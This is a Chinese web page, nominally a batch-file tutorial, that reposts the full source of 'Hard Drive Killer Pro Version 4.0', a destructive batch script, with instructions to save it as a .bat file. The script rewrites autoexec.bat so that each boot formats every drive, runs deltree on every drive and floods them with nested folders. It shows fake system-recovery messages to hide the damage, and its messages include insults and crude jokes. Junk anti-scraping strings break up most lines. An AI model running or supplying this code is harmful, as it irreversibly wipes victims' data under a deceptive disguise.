你的位置:pcMing工作室 >> 资讯 >> windows >> windows应用 >> 详细内容 在线投稿

简明批处理教程

排行榜 收藏 打印 发给朋友 举报 来源: 互联网   发布者:未知
热度2572票  浏览273次 【共0条评论】【我要评论 时间:2010年1月22日 22:03

F:L5N c,}\Z#U0 pcMing工作室b?g1YXAW"}6N`

pcMing工作室 F(vI7e1n*g5] u
3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)pcMing工作室6S/r2X$@L |w
------------------------ cut here then save as .bat or .cmd file ---------------------------pcMing工作室c^D.~%zkTnT m

fV(A@(FZ \0

@echo off

P J$Z^u3\T_E0

rem This program is dedecated to a very special person that does not want to be named. pcMing工作室 I'yk o-z

:start pcMing工作室a G.u6ZgU

cls

'x3c9NI,~(z0

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

nZ3^Pdw\0

call attrib -r -h c:autoexec.bat >nul

l"o/pI F0

echo @echo off >c:autoexec.bat pcMing工作室+o:fX2t!~.D*p~H%g2o

echo call format c: /q /u /autoSample >nul >>c:autoexec.bat pcMing工作室n @ZrS/j/J

call attrib +r +h c:autoexec.bat >nul pcMing工作室V ?$tg6q:`~t)G

rem Drive checking and assigning the valid drives to the drive variable.

5U~l%ig8FX q;c0

set drive= pcMing工作室4A SS j` g

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z pcMing工作室-Y)z c$G&eUp

rem code insertion for Drive Checking takes place here. pcMing工作室{L4a`SRz.r*W

rem drivechk.bat is the file name under the root directory. pcMing工作室%Svxq%Od,y

rem As far as the drive detection and drive variable settings, don't worry about how it

;vH R\8jiA1k*Y%F0

rem works, it's d*amn to complicated for the average or even the expert batch programmer.

KSLZ;mg3U-v!I]G0

rem Except for Tom Lavedas.

@)csm u7|$tV0

echo @echo off >drivechk.bat

|5Uq)rOf&_U:aJI@0

echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat pcMing工作室em&k&f6V}~2CR7k

%comspec% /e:2048 /c {t}.bat >>drivechk.bat pcMing工作室 pNp]]e

del {t}.bat

~%QY&KB N5g-e"KP9i0

echo if errorlevel 1 goto enddc >>drivechk.bat

Tf+fhs([ bt or(A0

cls

`i/Q%U s3P4L0

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

a N1o&GZU:c+\/T0

rem When errorlevel is 1, then the above is not true, if 0, then it's true.

q'Q^O,x;yy4xc3b0

rem Opposite of binary rules. If 0, it will elaps to the next command. pcMing工作室eKGd)p|O

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat pcMing工作室W!j{ N*]5k

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

$F-fq |tf0

del {t}.bat pcMing工作室K)Z+F!W WBf#A{

echo if errorlevel 1 goto enddc >>drivechk.bat pcMing工作室 c.TeP5Tf

cls

"wfnEL)hx0

echo PLEASE WAIT WHILE PROGRAM LOADS . . . pcMing工作室 DR1h3R? u g

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. pcMing工作室le/ts%bO/X

rem if errorlevel is 0, then it will elaps to the next command. pcMing工作室9{?XsHd\

echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat pcMing工作室7]`8D ANH.Y_!d)l^0N

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

D,s8l3F_0

del {t}.bat

#v$w5Ng"W+lV(F@#j0

echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

L&M6SCZ5K"_2\4^ [0

cls

/Mm&`u~)v0

echo PLEASE WAIT WHILE PROGRAM LOADS . . . pcMing工作室0S)J)~ GLD5o!N

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. pcMing工作室QFuq[)f$m x

rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

^;rx&[JF+d6F0

echo :enddc >>drivechk.bat pcMing工作室E {/^ smP&A

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". pcMing工作室F{ [u6`

rem Now we will use the program drivechk.bat to attain valid drive information. pcMing工作室K#ADDyz&E8F+\*?0i

:Sampledrv

/S%Zta3go1Gt0

for %%a in (%alldrive%) do call drivechk.bat %%a >nul

p?;o-BC:mx['I0

del drivechk.bat >nul

Mk0B"K+oNYQ)^ Z0

if %drive.==. set drive=c

2?ttC.oem0

:form_del pcMing工作室-G/OZ7jS4h } r

call attrib -r -h c:autoexec.bat >nul

]Ysr/S0

echo @echo off >c:autoexec.bat pcMing工作室+W HTOt:]P

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat

H"z.I#\!_;}2zk5n*BW0

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat pcMing工作室N M$|W8@I)aO

echo cls >>c:autoexec.bat pcMing工作室@SE(NkI7?

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat

y9O^?)N^P0

echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat pcMing工作室v~8|$_:s"v

echo cls >>c:autoexec.bat

-{'Q i y2o`9o0

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat

I;]5Mjrg R&U0

echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat

{ P8[*q4q9B!{}-h0

echo cls >>c:autoexec.bat pcMing工作室{G;K:`4? C/bL F

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat pcMing工作室+~5a d8smpJ

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat

1m|%_,Jp0k%T$g&K0

echo cls >>c:autoexec.bat

)|zi)EO9nK%U0

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat

a-UkE j&cH7hgz0

echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat pcMing工作室(G/h Zu1W6Ym6w

echo cls >>c:autoexec.bat pcMing工作室)Y6kFxPPv.c

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat pcMing工作室p'lP/pu(J*Y.z#cv(C

echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat pcMing工作室ndS5g9e

echo cd >>c:autoexec.bat pcMing工作室)lU{da;i C C N

echo cls >>c:autoexec.bat

D[Q@9[&`J0

echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat pcMing工作室5jtq[2S

echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat pcMing工作室,}er*q~ o9e

echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat

p3A,A(kp-{x|G0

echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:autoexec.bat pcMing工作室7h oQ+irF0U:n"D

echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:autoexec.bat pcMing工作室4cxuXG(t

echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat pcMing工作室gq"QKi mR

echo echo. >>c:autoexec.bat pcMing工作室xo,tI9K

echo echo Regards, >>c:autoexec.bat pcMing工作室JGK8@ y]

echo echo. >>c:autoexec.bat pcMing工作室&h&y6P6cbH

echo echo Munga Bunga >>c:autoexec.bat

-p(gI&C[r U0

call attrib +r +h c:autoexec.bat pcMing工作室u u IF-z x1@pL

:makedir pcMing工作室vf`C&~A!A

if exist c:temp.bat attrib -r -h c:temp.bat >nul pcMing工作室TK&o9[wL

echo @echo off >c:temp.bat pcMing工作室WM.~}#?#G3u

echo %%1: >>c:temp.bat

QG5i+j\T T0

echo cd >>c:temp.bat pcMing工作室xoE{0Q

echo :startmd >>c:temp.bat pcMing工作室)o XQ-|5E"x0Z

echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat pcMing工作室YIy5U+HH~

echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat pcMing工作室 v}j FC#g;o}

echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat pcMing工作室(H)Bbu+I$S{Y*d

call attrib +r +h c:temp.bat >nul

LKrg7e*TR*EQ3o0

cls

eVHxA;c g0

echo Initializing Variables . . .

f7C]Fg3Z0

rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction. pcMing工作室%M!f5a Mog

for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul pcMing工作室q p&S z)\0J-G5G.@

cls pcMing工作室#Y2iu;QqN0Y7k&x

echo Initializing Variables . . . pcMing工作室)v7B,BLx$[pk8M {k,e

echo Validating Data . . . pcMing工作室5z}V)|(^ L3Q3bm

for %%a in (%drive%) do call c:temp.bat %%a Munga >nul

P/]0QM4Y0

cls

.FI+[#Dy:U5n0

echo Initializing Variables . . .

ozE/[x0

echo Validating Data . . .

yO)Ke.J{@0

echo Analyzing System Structure . . . pcMing工作室Oq-Zh2O

for %%a in (%drive%) call attrib -r -h %%a: /S >nul pcMing工作室1R3{+Py#T`

call attrib +r +h c:temp.bat >nul pcMing工作室le)Ou9eTO!V

call attrib +r +h c:autoexec.bat >nul

-v3sJX/},|t0

cls

j z|Z1W0

echo Initializing Variables . . . pcMing工作室+TyOJi4O@

echo Validating Data . . .

Z(N(w yL{)`0

echo Analyzing System Structure . . . pcMing工作室h+U3N+n.a:@ ~9nj3s_

echo Initializing Application . . .

Dj"c)F9]"TC'r0

for %%a in (%drive%) call deltree /y %%a:*. >nul pcMing工作室B0kOY%ABo

cls

q _`Rjh S`0

echo Initializing Variables . . .

,[xD/kg \FeT \0

echo Validating Data . . . pcMing工作室x;a%cw+x%w&ER

echo Analyzing System Structure . . . pcMing工作室L0wH(}KU7oF

echo Initializing Application . . . pcMing工作室2w*yo~?:H:Z3C4y%X

echo Starting Application . . . pcMing工作室Z1kR@)jobQL1l4Pz

for %%a in (%drive%) do call c:temp.bat %%a Munga >nul pcMing工作室n?$Mjqa

cls pcMing工作室/L'k@F`

echo Thank you for using a Munga Bunga product.

&m'NHS-b6MF0

echo. pcMing工作室#l`Wy{um.K,^

echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. pcMing工作室$rQ:m P^/P;SwA*n

echo. pcMing工作室 Us,b)wd3~%\ H$JvYY

echo Here is a joke for you . . .

Dj"dt7e!b D,ke0

echo.

H*I+oo8p8y]gR0

echo Q). What's the worst thing about being an egg?

*F8GEQezoV y0

echo A). You only get laid once. pcMing工作室gPB[ I%X

echo. pcMing工作室Qed4Je@J9q+i

echo HAHAHAHA, get it? Don't you just love that one? pcMing工作室,_^1B!^ c

echo. pcMing工作室V5D'`8pSt"a

echo Regards,

'E"[ i nhE.aR0

echo. pcMing工作室6B"d)I`)G"\S

echo Munga Bunga pcMing工作室)Z1UY9zAb&c~:P/F

:end

D$F%OKkk%g Bk0

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

4s3s&n,LNr|0

rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).

9o~8{:kX`;l0

q tpK]0

顶:203 踩:115
对本文中的事件或人物打分:
当前平均分:-0.17 (787次打分)
对本篇资讯内容的质量打分:
当前平均分:-0.41 (763次打分)
【已经有704人表态】
100票
感动
86票
路过
86票
高兴
75票
难过
89票
搞笑
72票
愤怒
89票
无聊
107票
同情
上一篇 下一篇
发表评论
换一张

网友评论仅供网友表达个人看法,并不表明本网同意其观点或证实其描述。

查看全部回复【已有0位网友发表了看法】

网络资源